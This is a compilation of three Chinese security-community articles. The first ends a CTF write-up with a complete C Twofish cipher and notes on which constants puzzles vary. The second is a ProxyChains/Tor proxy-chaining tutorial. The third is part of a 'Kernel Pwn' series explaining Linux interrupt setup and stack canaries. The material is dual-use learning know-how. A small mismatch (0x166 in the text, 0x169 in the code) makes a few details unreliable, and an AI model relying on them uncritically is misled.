## 算法解密
解密函数如下
void Twofish_decryt(twofish_t* tf_twofish, uint8_t *cypher, uint8_t *data)
{
uint32_t r0, r1, r2, r3, f0, f1, c2,c3;
/* Input Whitenening */
r0 = tf_twofish->k[4]^pack(cypher);
r1 = tf_twofish->k[5]^pack(cypher+4);
r2 = tf_twofish->k[6]^pack(cypher+8);
r3 = tf_twofish->k[7]^pack(cypher+12);
/* The black box */
for (int i=15; i >= 0;--i)
{
Twofish_f(tf_twofish, i, r0, r1, &f0, &f1);
c2 = (rol(r2,1)^f0);
c3 = ror((f1^r3),1);
/* swap */
r2 = r0;
r3 = r1;
r0 = c2;
r1 = c3;
}
/* Output Whitening */
c2 = r0;
c3 = r1;
r0 = tf_twofish->k[0]^r2;
r1 = tf_twofish->k[1]^r3;
r2 = tf_twofish->k[2]^c2;
r3 = tf_twofish->k[3]^c3;
for (int i=0;i<4;++i)
{
data[i] = unpack(r0,i);
data[i+4] = unpack(r1,i);
data[i+8] = unpack(r2,i);
data[i+12]= unpack(r3,i);
}
}
因此TwoFish加解密代码如下
twofish.h
#ifndef __TWOFISH__H
#define __TWOFISH__H
#include "stdint.h"
#define TWOFISH
#ifdef TWOFISH
typedef struct twofish_t
{
uint8_t len;
uint32_t k[40];
uint32_t s[4][256];
}twofish_t;
#endif
/*
* Twofish MDS Multiply Function
*
* Description:
*
* @param tf_twofish
* @param data
* @param cypher
* @usage
* {@code}
*/
void Twofish_encryt(twofish_t* tf_twofish, uint8_t *data, uint8_t *cypher);
/*
* Twofish Decryption Function
*
* Description:
*
* @param tf_twofish
* @param cypher
* @param data
* @usage
* {@code}
*/
void Twofish_decryt(twofish_t* tf_twofish, uint8_t *cypher, uint8_t *data);
/*
* Twofish Setup Function
*
* Description:
*
* @param s
* @param len
* @usage
* {@code}
*/
twofish_t* Twofish_setup(uint8_t *s, uint32_t len);
#endif
tables.h
#ifndef __TABLES__H
#define __TABLES__H
/* The MDS Matrix */
uint8_t mds[4][4]=
{
{0x01, 0xef, 0x5b, 0x5b},
{0x5b, 0xef, 0xef, 0x01},
{0xef, 0x5b, 0x01, 0xef},
{0xef, 0x01, 0xef, 0x5b}
};
uint8_t q[2][256] =
{
/* q0 */
{
0xa9,0x67,0xb3,0xe8,0x4,0xfd,0xa3,0x76,0x9a,0x92,0x80,0x78,0xe4,0xdd,0xd1,0x38,
0xd,0xc6,0x35,0x98,0x18,0xf7,0xec,0x6c,0x43,0x75,0x37,0x26,0xfa,0x13,0x94,0x48,
0xf2,0xd0,0x8b,0x30,0x84,0x54,0xdf,0x23,0x19,0x5b,0x3d,0x59,0xf3,0xae,0xa2,0x82,
0x63,0x1,0x83,0x2e,0xd9,0x51,0x9b,0x7c,0xa6,0xeb,0xa5,0xbe,0x16,0xc,0xe3,0x61,
0xc0,0x8c,0x3a,0xf5,0x73,0x2c,0x25,0xb,0xbb,0x4e,0x89,0x6b,0x53,0x6a,0xb4,0xf1,
0xe1,0xe6,0xbd,0x45,0xe2,0xf4,0xb6,0x66,0xcc,0x95,0x3,0x56,0xd4,0x1c,0x1e,0xd7,
0xfb,0xc3,0x8e,0xb5,0xe9,0xcf,0xbf,0xba,0xea,0x77,0x39,0xaf,0x33,0xc9,0x62,0x71,
0x81,0x79,0x9,0xad,0x24,0xcd,0xf9,0xd8,0xe5,0xc5,0xb9,0x4d,0x44,0x8,0x86,0xe7,
0xa1,0x1d,0xaa,0xed,0x6,0x70,0xb2,0xd2,0x41,0x7b,0xa0,0x11,0x31,0xc2,0x27,0x90,
0x20,0xf6,0x60,0xff,0x96,0x5c,0xb1,0xab,0x9e,0x9c,0x52,0x1b,0x5f,0x93,0xa,0xef,
0x91,0x85,0x49,0xee,0x2d,0x4f,0x8f,0x3b,0x47,0x87,0x6d,0x46,0xd6,0x3e,0x69,0x64,
0x2a,0xce,0xcb,0x2f,0xfc,0x97,0x5,0x7a,0xac,0x7f,0xd5,0x1a,0x4b,0xe,0xa7,0x5a,
0x28,0x14,0x3f,0x29,0x88,0x3c,0x4c,0x2,0xb8,0xda,0xb0,0x17,0x55,0x1f,0x8a,0x7d,
0x57,0xc7,0x8d,0x74,0xb7,0xc4,0x9f,0x72,0x7e,0x15,0x22,0x12,0x58,0x7,0x99,0x34,
0x6e,0x50,0xde,0x68,0x65,0xbc,0xdb,0xf8,0xc8,0xa8,0x2b,0x40,0xdc,0xfe,0x32,0xa4,
0xca,0x10,0x21,0xf0,0xd3,0x5d,0xf,0x0,0x6f,0x9d,0x36,0x42,0x4a,0x5e,0xc1,0xe0
},
/* q1 */
{
0x75,0xf3,0xc6,0xf4,0xdb,0x7b,0xfb,0xc8,0x4a,0xd3,0xe6,0x6b,0x45,0x7d,0xe8,0x4b,
0xd6,0x32,0xd8,0xfd,0x37,0x71,0xf1,0xe1,0x30,0xf,0xf8,0x1b,0x87,0xfa,0x6,0x3f,
0x5e,0xba,0xae,0x5b,0x8a,0x0,0xbc,0x9d,0x6d,0xc1,0xb1,0xe,0x80,0x5d,0xd2,0xd5,
0xa0,0x84,0x7,0x14,0xb5,0x90,0x2c,0xa3,0xb2,0x73,0x4c,0x54,0x92,0x74,0x36,0x51,
0x38,0xb0,0xbd,0x5a,0xfc,0x60,0x62,0x96,0x6c,0x42,0xf7,0x10,0x7c,0x28,0x27,0x8c,
0x13,0x95,0x9c,0xc7,0x24,0x46,0x3b,0x70,0xca,0xe3,0x85,0xcb,0x11,0xd0,0x93,0xb8,
0xa6,0x83,0x20,0xff,0x9f,0x77,0xc3,0xcc,0x3,0x6f,0x8,0xbf,0x40,0xe7,0x2b,0xe2,
0x79,0xc,0xaa,0x82,0x41,0x3a,0xea,0xb9,0xe4,0x9a,0xa4,0x97,0x7e,0xda,0x7a,0x17,
0x66,0x94,0xa1,0x1d,0x3d,0xf0,0xde,0xb3,0xb,0x72,0xa7,0x1c,0xef,0xd1,0x53,0x3e,
0x8f,0x33,0x26,0x5f,0xec,0x76,0x2a,0x49,0x81,0x88,0xee,0x21,0xc4,0x1a,0xeb,0xd9,
0xc5,0x39,0x99,0xcd,0xad,0x31,0x8b,0x1,0x18,0x23,0xdd,0x1f,0x4e,0x2d,0xf9,0x48,
0x4f,0xf2,0x65,0x8e,0x78,0x5c,0x58,0x19,0x8d,0xe5,0x98,0x57,0x67,0x7f,0x5,0x64,
0xaf,0x63,0xb6,0xfe,0xf5,0xb7,0x3c,0xa5,0xce,0xe9,0x68,0x44,0xe0,0x4d,0x43,0x69,
0x29,0x2e,0xac,0x15,0x59,0xa8,0xa,0x9e,0x6e,0x47,0xdf,0x34,0x35,0x6a,0xcf,0xdc,
0x22,0xc9,0xc0,0x9b,0x89,0xd4,0xed,0xab,0x12,0xa2,0xd,0x52,0xbb,0x2,0x2f,0xa9,
0xd7,0x61,0x1e,0xb4,0x50,0x4,0xf6,0xc2,0x16,0x25,0x86,0x56,0x55,0x9,0xbe,0x91
}
};
#endif
twofish.c
#include <stdio.h>
#include <malloc.h>
#include "twofish.h"
#include "tables.h"
#define xor(g,r) (g^r) /* Xor operation */
#define ror(g,n) ((g>>n)|(g<<(32-n))) /* Rotate right */
#define rol(g,n) ((g<<n)|(g>>(32-n))) /* Rotate left */
#define nxt(g,r) (*(g+r)) /* Get next byte */
#define LITTILE_ENDIAN
#ifdef LITTILE_ENDIAN
#define unpack(g,r) ((g>>(r*8))&0xff) /* Extracts a byte from a word. */
#define pack(g) ((*(g))|(*(g+1)<<8)|(*(g+2)<<16)|(*(g+3)<<24)) /* Converts four byte to a word. */
#endif
#define rsm(i,a,b,c,d,e,f,g,h) \
gf(nxt(tf_key->k,r*8),a,0x14d)^gf(nxt(tf_key->k,r*8+1),b,0x14d)^\
gf(nxt(tf_key->k,r*8+2),c,0x14d)^gf(nxt(tf_key->k,r*8+3),d,0x14d)^\
gf(nxt(tf_key->k,r*8+4),e,0x14d)^gf(nxt(tf_key->k,r*8+5),f,0x14d)^\
gf(nxt(tf_key->k,r*8+6),g,0x14d)^gf(nxt(tf_key->k,r*8+7),h,0x14d)
#define u(x,a)\
x[0] = unpack(a,0); \
x[1] = unpack(a,1); \
x[2] = unpack(a,2); \
x[3] = unpack(a,3);
#define release(a,b,c) { free(a); free(b);free(c); }
#ifdef TWOFISH
typedef struct key_t
{
uint8_t len;
uint8_t *k;
}key_t;
typedef struct subkey_t
{
uint8_t len;
uint8_t s[4][4];
uint8_t me[4][4];
uint8_t mo[4][4];
}subkey_t;
#endif
/*
* Twofish Expand Key Function
*
* Description:
*
* @param s
* @param len
* @usage
* {@code}
*/
key_t* expand_key(uint8_t *s, uint32_t len);
/*
* Twofish Galois Field Multiplication Function
*
* Description:
*
* @param x
* @param y
* @param m
* @usage
* {@code}
*/
uint8_t gf(uint8_t x, uint8_t y, uint16_t m);
/*
* Twofish Generate Subkeys Function
*
* Description:
*
* @param tf_key
* @usage
* {@code}
*/
subkey_t* Twofish_generate_subkey(key_t* tf_key);
/*
* Twofish h Function
*
* Description:
*
* @param x[]
* @param y[]
* @param s
* @param stage
* @usage
* {@code}
*/
void Twofish_h(uint8_t x[], uint8_t y[], uint8_t s[][4], int stage);
/*
* Twofish MDS Multiply Function
*
* Description:
*
* @param y[]
* @param out[]
* @usage
* {@code}
*/
void Twofish_mds_mul(uint8_t y[], uint8_t out[]);
/*
* Twofish Genrate Extended K Keys Function
*
* Description:
*
* @param tf_twofish
* @param tf_subkey
* @param p
* @param k
* @usage
* {@code}
*/
twofish_t* Twofish_generate_ext_k_keys(twofish_t* tf_twofish, subkey_t *tf_subkey,uint32_t p, uint8_t k);
/*
* Twofish Genrate Extended S Keys Function
*
* Description:
*
* @param tf_twofish
* @param tf_subkey
* @param k
* @usage
* {@code}
*/
twofish_t* Twofish_generate_ext_s_keys(twofish_t* tf_twofish, subkey_t *tf_subkey, uint8_t k);
/*
* Twofish f Function
*
* Description:
*
* @param tf_twofish
* @param r
* @param r0, r1
* @param f0, f1
* @usage
* {@code}
*/
void Twofish_f(twofish_t* tf_twofish, uint8_t r,uint32_t r0, uint32_t r1, uint32_t* f0, uint32_t* f1);
/*
* Twofish g Function
*
* Description:
*
* @param tf_twofish
* @param x
* @usage
* {@code}
*/
uint32_t Twofish_g(twofish_t* tf_twofish, uint32_t x);
twofish_t* Twofish_setup(uint8_t *s, uint32_t len)
{
/* Expand the key if necessary. */
key_t* tf_key = expand_key(s, len/8);
/* Generate subkeys: s and k */
subkey_t *tf_subkey = Twofish_generate_subkey(tf_key);
/* Generate 40 K keys */
twofish_t* tf_twofish = (twofish_t*)malloc(sizeof(twofish_t));
tf_twofish = Twofish_generate_ext_k_keys(tf_twofish,tf_subkey,0x01010101,(tf_key->len/8));
/* Generate 4x256 S keys */
tf_twofish = Twofish_generate_ext_s_keys(tf_twofish,tf_subkey,(tf_key->len/8));
/* Free memory */
release(tf_key->k, tf_key, tf_subkey);
return tf_twofish;
}
void Twofish_encryt(twofish_t* tf_twofish, uint8_t *data, uint8_t *cypher)
{
uint32_t r0, r1, r2, r3, f0, f1, c2,c3;
/* Input Whitenening */
r0 = tf_twofish->k[0]^pack(data);
r1 = tf_twofish->k[1]^pack(data+4);
r2 = tf_twofish->k[2]^pack(data+8);
r3 = tf_twofish->k[3]^pack(data+12);
/* The black box */
for (int i=0; i<16;++i)
{
Twofish_f(tf_twofish, i, r0, r1, &f0, &f1);
c2 = ror((f0^r2), 1);
c3 = (f1^rol(r3,1));
/* swap */
r2 = r0;
r3 = r1;
r0 = c2;
r1 = c3;
}
/* Output Whitening */
c2 = r0;
c3 = r1;
r0 = tf_twofish->k[4]^r2;
r1 = tf_twofish->k[5]^r3;
r2 = tf_twofish->k[6]^c2;
r3 = tf_twofish->k[7]^c3;
for (int i=0;i<4;++i)
{
cypher[i] = unpack(r0,i);
cypher[i+4] = unpack(r1,i);
cypher[i+8] = unpack(r2,i);
cypher[i+12]= unpack(r3,i);
}
}
void Twofish_decryt(twofish_t* tf_twofish, uint8_t *cypher, uint8_t *data)
{
uint32_t r0, r1, r2, r3, f0, f1, c2,c3;
/* Input Whitenening */
r0 = tf_twofish->k[4]^pack(cypher);
r1 = tf_twofish->k[5]^pack(cypher+4);
r2 = tf_twofish->k[6]^pack(cypher+8);
r3 = tf_twofish->k[7]^pack(cypher+12);
/* The black box */
for (int i=15; i >= 0;--i)
{
Twofish_f(tf_twofish, i, r0, r1, &f0, &f1);
c2 = (rol(r2,1)^f0);
c3 = ror((f1^r3),1);
/* swap */
r2 = r0;
r3 = r1;
r0 = c2;
r1 = c3;
}
/* Output Whitening */
c2 = r0;
c3 = r1;
r0 = tf_twofish->k[0]^r2;
r1 = tf_twofish->k[1]^r3;
r2 = tf_twofish->k[2]^c2;
r3 = tf_twofish->k[3]^c3;
for (int i=0;i<4;++i)
{
data[i] = unpack(r0,i);
data[i+4] = unpack(r1,i);
data[i+8] = unpack(r2,i);
data[i+12]= unpack(r3,i);
}
}
void Twofish_f(twofish_t* tf_twofish, uint8_t r,uint32_t r0, uint32_t r1, uint32_t* f0, uint32_t* f1)
{
uint32_t t0, t1, o;
t0 = Twofish_g(tf_twofish, r0);
t1 = rol(r1, 8);
t1 = Twofish_g(tf_twofish, t1);
o = 2*r;
*f0= (t0 + t1 + tf_twofish->k[o+8]);
*f1= (t0 + (2*t1) + tf_twofish->k[o+9]);
}
twofish_t* Twofish_generate_ext_k_keys(twofish_t* tf_twofish, subkey_t *tf_subkey,uint32_t p, uint8_t k)
{
uint32_t a, b;
uint8_t x[4], y[4], z[4];
for(int i=0;i<40;i+=2) /* i = 40/2 */
{
a = (i*p); /* 2*i*p */
b = (a+p); /* ((2*i +1)*p */
u(x,a);
Twofish_h(x, y, tf_subkey->me, k);
Twofish_mds_mul(y,z);
a = pack(z); /* Convert four bytes z[4] to a word (a). */
u(x,b); /* Convert a word (b) to four bytes x[4]. */
Twofish_h(x, y, tf_subkey->mo, k);
Twofish_mds_mul(y,z);
b = pack(z);
b = rol(b,8);
tf_twofish->k[i] = ((a + b));
tf_twofish->k[i+1] = rol(((a + (2*b))),9);
}
return tf_twofish;
}
twofish_t* Twofish_generate_ext_s_keys(twofish_t* tf_twofish, subkey_t *tf_subkey, uint8_t k)
{
uint8_t x[4], y[4];
for(int i=0;i<256;++i)
{
x[0] = x[1] = x[2] = x[3] = i;
Twofish_h(x, y, tf_subkey->s, k);
/* Special MDS multiplication */
tf_twofish->s[0][i] = (gf(y[0], mds[0][0],0x169) |(gf(y[1],mds[0][1],0x169)<< 8)|(gf(y[2], mds[0][2],0x169)<<16) |(gf(y[3], mds[0][3], 0x169) <<24));
tf_twofish->s[1][i] = (gf(y[0], mds[1][0],0x169) |(gf(y[1],mds[1][1],0x169)<< 8)|(gf(y[2], mds[1][2],0x169)<<16) |(gf(y[3], mds[1][3], 0x169) <<24));
tf_twofish->s[2][i] = (gf(y[0], mds[2][0],0x169) |(gf(y[1],mds[2][1],0x169)<< 8)|(gf(y[2], mds[2][2],0x169)<<16) |(gf(y[3], mds[2][3], 0x169) <<24));
tf_twofish->s[3][i] = (gf(y[0], mds[3][0],0x169) |(gf(y[1],mds[3][1],0x169)<< 8)|(gf(y[2], mds[3][2],0x169)<<16) |(gf(y[3], mds[3][3], 0x169) <<24));
}
return tf_twofish;
}
void Twofish_mds_mul(uint8_t y[], uint8_t out[])
{
/* MDS multiplication */
out[0] = (gf(y[0], mds[0][0], 0x169)^gf(y[1], mds[0][1], 0x169)^gf(y[2], mds[0][2], 0x169)^gf(y[3], mds[0][3], 0x169));
out[1] = (gf(y[0], mds[1][0], 0x169)^gf(y[1], mds[1][1], 0x169)^gf(y[2], mds[1][2], 0x169)^gf(y[3], mds[1][3], 0x169));
out[2] = (gf(y[0], mds[2][0], 0x169)^gf(y[1], mds[2][1], 0x169)^gf(y[2], mds[2][2], 0x169)^gf(y[3], mds[2][3], 0x169));
out[3] = (gf(y[0], mds[3][0], 0x169)^gf(y[1], mds[3][1], 0x169)^gf(y[2], mds[3][2], 0x169)^gf(y[3], mds[3][3], 0x169));
}
uint32_t Twofish_g(twofish_t* tf_twofish, uint32_t x)
{
return (tf_twofish->s[0][unpack(x,0)]^tf_twofish->s[1][unpack(x, 1)]^tf_twofish->s[2][unpack(x,2)]^tf_twofish->s[3][unpack(x,3)]);
}
void Twofish_h(uint8_t x[], uint8_t out[], uint8_t s[][4], int stage)
{
uint8_t y[4];
for (int j=0; j<4;++j)
{
y[j] = x[j];
}
if (stage == 4)
{
y[0] = q[1][y[0]] ^ (s[3][0]);
y[1] = q[0][y[1]] ^ (s[3][1]);
y[2] = q[0][y[2]] ^ (s[3][2]);
y[3] = q[1][y[3]] ^ (s[3][3]);
}
if (stage > 2)
{
y[0] = q[1][y[0]] ^ (s[2][0]);
y[1] = q[1][y[1]] ^ (s[2][1]);
y[2] = q[0][y[2]] ^ (s[2][2]);
y[3] = q[0][y[3]] ^ (s[2][3]);
}
out[0] = q[1][q[0][ q[0][y[0]] ^ (s[1][0])] ^ (s[0][0])];
out[1] = q[0][q[0][ q[1][y[1]] ^ (s[1][1])] ^ (s[0][1])];
out[2] = q[1][q[1][ q[0][y[2]] ^ (s[1][2])] ^ (s[0][2])];
out[3] = q[0][q[1][ q[1][y[3]] ^ (s[1][3])] ^ (s[0][3])];
}
subkey_t* Twofish_generate_subkey(key_t* tf_key)
{
int k, r, g;
subkey_t *tf_subkey = (subkey_t*)malloc(sizeof(subkey_t));
k = tf_key->len/8; /* k=N/64 */
for(r=0; r<k;++r)
{
/* Generate subkeys Me and Mo */
tf_subkey->me[r][0] = nxt(tf_key->k, r*8 );
tf_subkey->me[r][1] = nxt(tf_key->k, r*8 + 1);
tf_subkey->me[r][2] = nxt(tf_key->k, r*8 + 2);
tf_subkey->me[r][3] = nxt(tf_key->k, r*8 + 3);
tf_subkey->mo[r][0] = nxt(tf_key->k, r*8 + 4);
tf_subkey->mo[r][1] = nxt(tf_key->k, r*8 + 5);
tf_subkey->mo[r][2] = nxt(tf_key->k, r*8 + 6);
tf_subkey->mo[r][3] = nxt(tf_key->k, r*8 + 7);
g=k-r-1; /* Reverse order */
/* Generate subkeys S using RS matrix */
tf_subkey->s[g][0] = rsm(r, 0x01, 0xa4, 0x55, 0x87, 0x5a, 0x58, 0xdb, 0x9e);
tf_subkey->s[g][1] = rsm(r, 0xa4, 0x56, 0x82, 0xf3, 0x1e, 0xc6, 0x68, 0xe5);
tf_subkey->s[g][2] = rsm(r, 0x02, 0xa1, 0xfc, 0xc1, 0x47, 0xae, 0x3d, 0x19);
tf_subkey->s[g][3] = rsm(r, 0xa4, 0x55, 0x87, 0x5a, 0x58, 0xdb, 0x9e, 0x03);
}
return tf_subkey;
}
key_t* expand_key(uint8_t *s, uint32_t len)
{
int n;
/* Pad factor */
if (len<16) n = 16;
else if (len<24) n = 24;
else if (len<32) n = 32;
key_t* tf_key = (key_t*)malloc(sizeof(key_t));
uint8_t* ss = (uint8_t*)malloc(n);
/* Do actual padding. */
for (int g=0; g<n; ++g)
{
if (g < len)
{
*(ss+g) = *(s+g);
continue;
}
*(ss+g) = 0x00;
}
tf_key->k = ss;
tf_key->len=n;
return tf_key;
}
uint8_t gf(uint8_t x, uint8_t y, uint16_t m)
{
uint8_t c, p = 0;
for (int i=0; i<8; ++i)
{
if (y & 0x1)
p ^= x;
c = x & 0x80;
x <<= 1;
if (c)
x ^= m;
y >>= 1;
}
return p;
}
写一个main函数直接调用即可。
## CTF出题变化分析
TwoFish算法共有三处可发生变化以提高出题难度
1. rsm函数，0x14d可替换为其他数字
2. Twofish_generate_ext_s_keys函数中gf的参数0x166可替换
3. Twofish_mds_mul函数中gf的参数0x166可替换
对于这类分组加密算法，即使插件没有识别，只要看出相关函数结构，就可以很快确定具体算法，找到可能变化的参数，相应修改解密函数即可
附件中附上了题目和idb文件供自行分析 | 社区文章 |
在日常测试中，我们偶尔会需要让我们的请求通过代理服务器进行发送。对于浏览器，使用代理的教程非常多，就不多介绍了。
但在 Terminal 下，好用的支持多种协议的工具就比较少了。
这里分享一款 Terminal 下的支持 socks 的代理工具 ProxyChains。
ProxyChains 只能用于 GNU/Linux 系统，安装方法如下：
On Debian/Ubuntu：
apt-get install proxy chains
On Mac OS X：
brew install proxychains-ng
其它系统可到官网下载安装包。（[http://proxychains.sourceforge.net）](http://proxychains.sourceforge.net%29/)
安装完成后，为 ProxyChains 创建一个配置文件（默认放在 ~/.proxychains/proxychains.conf）：
strict_chain
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
localnet 127.0.0.0/255.0.0.0
quiet_mode
[ProxyList]
socks5 127.0.0.1 1080
需要修改的地方主要是 [ProxyList] ，ProxyChains 支持 HTTP、SOCKS4 和 SOCKS5 这三种代理。
因为我用的是 shadowsocks 转发的本地代理，所以直接填 socks5 127.0.0.1 1080 就好了。
localnet 是指定不走代理的 IP 范围。
ProxyChains 还支持多个代理组成链式访问：
your_host <--> proxy 1 (TOR) <--> proxy 2 (HTTP or SOCKS4/5) <--> target_host
使用方法也很简单，直接在后面加上要执行的命令就可以了。
proxychains4 curl https://www.twitter.com/
proxychains4 git push origin master
或者用 ProxyChains 新建一个 bash，该 bash 里面的网络请求都会通过代理发出。
proxychains4 bash
curl https://www.twitter.com/
当然 proxychains4 这个命令略长，输入不太方便，所以还是为它设置一个 alias 吧。
#### PS. 其实如果用的是 HTTP 代理，可以不用安装任何软件：
### linux
export http_proxy="127.0.0.1:8080"
### windows
set http_proxy="127.0.0.1:1080" | 社区文章 |
# Kernel Pwn 学习之路（五）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
由于关于Kernel安全的文章实在过于繁杂，本文有部分内容大篇幅或全文引用了参考文献，若出现此情况的，将在相关内容的开头予以说明，部分引用参考文献的将在文件结尾的参考链接中注明。
Kernel的相关知识以及一些实例在Kernel中的利用已经在`Kernel Pwn 学习之路(一)(二)`给予了说明
Kernel中内存管理的相关知识已经在`Kernel Pwn 学习之路(三)`给予了说明
本文主要接续`Kernel Pwn 学习之路(四)`，继续研究内核中断的相关机制。本文涉及到的所有`Linux
Kernel`相关代码均基于`5.6.2`版本。
限于篇幅的原因，本文仅介绍了异常中断前处理，下一篇文章将深入中断服务函数，介绍其内部实现~
【传送门】：[Kernel Pwn 学习之路(一)](https://www.anquanke.com/post/id/201043)
【传送门】：[Kernel Pwn 学习之路(二)](https://www.anquanke.com/post/id/201454)
【传送门】：[Kernel Pwn 学习之路(三)](https://www.anquanke.com/post/id/202371)
【传送门】：[Kernel Pwn 学习之路(四)](https://www.anquanke.com/post/id/202988)
## 0x02 通用内核代码中的IDT相关处理
在上一篇文章的分析中，处理机进入了保护模式以及长模式，在平台相关代码中完成了`IDT`的初始化。在那之后流程将转移到通用内核代码，接下来我们进行分析通用内核代码中的IDT相关处理代码。
入口函数在`/source/init/main.c`中实现(这里省略不分析的函数)，这个函数将完成内核以`pid - 1`运行第一个`init`进程
之前的所有初始化工作。
asmlinkage __visible void __init start_kernel(void)
{
char *command_line;
char *after_dashes;
......
local_irq_disable(); // Line 12
early_boot_irqs_disabled = true;
/*
* Interrupts are still disabled. Do necessary setups, then
* enable them.
*/
......
setup_arch(&command_line); // Line 23
......
boot_init_stack_canary(); // Line 123
......
early_boot_irqs_disabled = false;
local_irq_enable(); // Line 133
......
}
### 为中断栈设置`Stack Canary`
在`start_kernel()`的`line
123`调用了`boot_init_stack_canary()`来设置[canary](http://en.wikipedia.org/wiki/Stack_buffer_overflow#Stack_canaries)值来缓解中断栈溢出。
此函数在`/source/arch/x86/include/asm/stackprotector.h#L61`处实现
/* SPDX-License-Identifier: GPL-2.0 */
/*
* GCC stack protector support.
*
* Stack protector works by putting predefined pattern at the start of
* the stack frame and verifying that it hasn't been overwritten when
* returning from the function. The pattern is called stack canary
* and unfortunately gcc requires it to be at a fixed offset from %gs.
* On x86_64, the offset is 40 bytes and on x86_32 20 bytes. x86_64
* and x86_32 use segment registers differently and thus handles this
* requirement differently.
*
* On x86_64, %gs is shared by percpu area and stack canary. All
* percpu symbols are zero based and %gs points to the base of percpu
* area. The first occupant of the percpu area is always
* fixed_percpu_data which contains stack_canary at offset 40. Userland
* %gs is always saved and restored on kernel entry and exit using
* swapgs, so stack protector doesn't add any complexity there.
*
* On x86_32, it's slightly more complicated. As in x86_64, %gs is
* used for userland TLS. Unfortunately, some processors are much
* slower at loading segment registers with different value when
* entering and leaving the kernel, so the kernel uses %fs for percpu
* area and manages %gs lazily so that %gs is switched only when
* necessary, usually during task switch.
*
* As gcc requires the stack canary at %gs:20, %gs can't be managed
* lazily if stack protector is enabled, so the kernel saves and
* restores userland %gs on kernel entry and exit. This behavior is
* controlled by CONFIG_X86_32_LAZY_GS and accessors are defined in
* system.h to hide the details.
*/
#ifndef _ASM_STACKPROTECTOR_H
#define _ASM_STACKPROTECTOR_H 1
#ifdef CONFIG_STACKPROTECTOR
#include <asm/tsc.h>
#include <asm/processor.h>
#include <asm/percpu.h>
#include <asm/desc.h>
#include <linux/random.h>
#include <linux/sched.h>
/*
* 24 byte read-only segment initializer for stack canary. Linker
* can't handle the address bit shifting. Address will be set in
* head_32 for boot CPU and setup_per_cpu_areas() for others.
*/
#define GDT_STACK_CANARY_INIT
[GDT_ENTRY_STACK_CANARY] = GDT_ENTRY_INIT(0x4090, 0, 0x18),
/*
* Initialize the stackprotector canary value.
*
* NOTE: this must only be called from functions that never return,
* and it must always be inlined.
*/
static __always_inline void boot_init_stack_canary(void)
{
u64 canary;
u64 tsc;
/*
* 如果设置了内核配置选项 CONFIG_X86_64 ，那么一开始将检查结构体 fixed_percpu_data 的状态
* 这个结构体代表了 per-cpu 中断栈，其与 stack_canary 值中间有 40 个字节的 offset
*/
#ifdef CONFIG_X86_64
BUILD_BUG_ON(offsetof(struct fixed_percpu_data, stack_canary) != 40);
#endif
/*
* We both use the random pool and the current TSC as a source
* of randomness. The TSC only matters for very early init,
* there it already has some randomness on most systems. Later
* on during the bootup the random pool has true entropy too.
* 使用随机数和时戳计数器计算新的 canary 值
*/
get_random_bytes(&canary, sizeof(canary));
tsc = rdtsc();
canary += tsc + (tsc << 32UL);
canary &= CANARY_MASK;
current->stack_canary = canary;
#ifdef CONFIG_X86_64
// 通过 this_cpu_write 宏将 canary 值写入了 fixed_percpu_data 中:
this_cpu_write(fixed_percpu_data.stack_canary, canary);
#else
this_cpu_write(stack_canary.canary, canary);
#endif
}
......
#else /* STACKPROTECTOR */
......
#endif /* _ASM_STACKPROTECTOR_H */
它的实现取决于 `CONFIG_STACKPROTECTOR` 这个内核配置选项。如果该选项没有置位，那该函数将是一个空函数。
### 禁用/启用本地中断
在`start_kernel()`的`line 12`调用了`local_irq_disable()`来禁用本地中断。
在`start_kernel()`的`line 133`调用了`local_irq_enable()`来启用本地中断。
`local_irq_enable()`是一个宏定义，它定义在`/source/include/linux/irqflags.h#L109`
`local_irq_disable()`是一个宏定义，它定义在`/source/include/linux/irqflags.h#L111`
/*
* The local_irq_*() APIs are equal to the raw_local_irq*()
* if !TRACE_IRQFLAGS.
*/
#ifdef CONFIG_TRACE_IRQFLAGS
#define local_irq_enable()
do { trace_hardirqs_on(); raw_local_irq_enable(); } while (0)
#define local_irq_disable()
do { raw_local_irq_disable(); trace_hardirqs_off(); } while (0)
......
#else /* !CONFIG_TRACE_IRQFLAGS */
#define local_irq_enable() do { raw_local_irq_enable(); } while (0)
#define local_irq_disable() do { raw_local_irq_disable(); } while (0)
......
#endif /* CONFIG_TRACE_IRQFLAGS */
当 `CONFIG_TRACE_IRQFLAGS_SUPPORT` 选项置位时， `local_irq_*` 宏将同时调用
`trace_hardirqs_*`
函数。在Linux死锁检测模块[lockdep](http://lwn.net/Articles/321663/)中有一项功能 `irq-flags
tracing`，它可以追踪 `hardirq` 和 `softirq` 的状态。在这种情况下， `lockdep`
死锁检测模块可以提供系统中关于硬/软中断的开/关事件的相关信息。
函数 `trace_hardirqs_*` 的定义位于`/source/kernel/trace/trace_preemptirq.c#L22`
void trace_hardirqs_on(void)
{
if (this_cpu_read(tracing_irq_cpu)) {
if (!in_nmi())
trace_irq_enable_rcuidle(CALLER_ADDR0, CALLER_ADDR1);
tracer_hardirqs_on(CALLER_ADDR0, CALLER_ADDR1);
this_cpu_write(tracing_irq_cpu, 0);
}
lockdep_hardirqs_on(CALLER_ADDR0);
}
EXPORT_SYMBOL(trace_hardirqs_on);
NOKPROBE_SYMBOL(trace_hardirqs_on);
void trace_hardirqs_off(void)
{
if (!this_cpu_read(tracing_irq_cpu)) {
this_cpu_write(tracing_irq_cpu, 1);
tracer_hardirqs_off(CALLER_ADDR0, CALLER_ADDR1);
if (!in_nmi())
trace_irq_disable_rcuidle(CALLER_ADDR0, CALLER_ADDR1);
}
lockdep_hardirqs_off(CALLER_ADDR0);
}
EXPORT_SYMBOL(trace_hardirqs_off);
NOKPROBE_SYMBOL(trace_hardirqs_off);
可见它只是调用了 `lockdep_hardirqs_*` 函数。 `lockdep_hardirqs_*` 函数,该函数检查了当前进程的
`hardirqs_enabled` 域，如果本次 `local_irq_disable` 调用是冗余的话，便使
`redundant_hardirqs_off` 域的值增长，否则便使 `hardirqs_off_events` 域的值增加。这两个域或其它与死锁检测模块
`lockdep` 统计相关的域定义在`/source/kernel/locking/lockdep_internals.h#L168`处的
`lockdep_stats` 结构体中:
/*
* Various lockdep statistics.
* We want them per cpu as they are often accessed in fast path
* and we want to avoid too much cache bouncing.
*/
struct lockdep_stats {
unsigned long chain_lookup_hits;
unsigned int chain_lookup_misses;
unsigned long hardirqs_on_events;
unsigned long hardirqs_off_events;
unsigned long redundant_hardirqs_on;
unsigned long redundant_hardirqs_off;
unsigned long softirqs_on_events;
unsigned long softirqs_off_events;
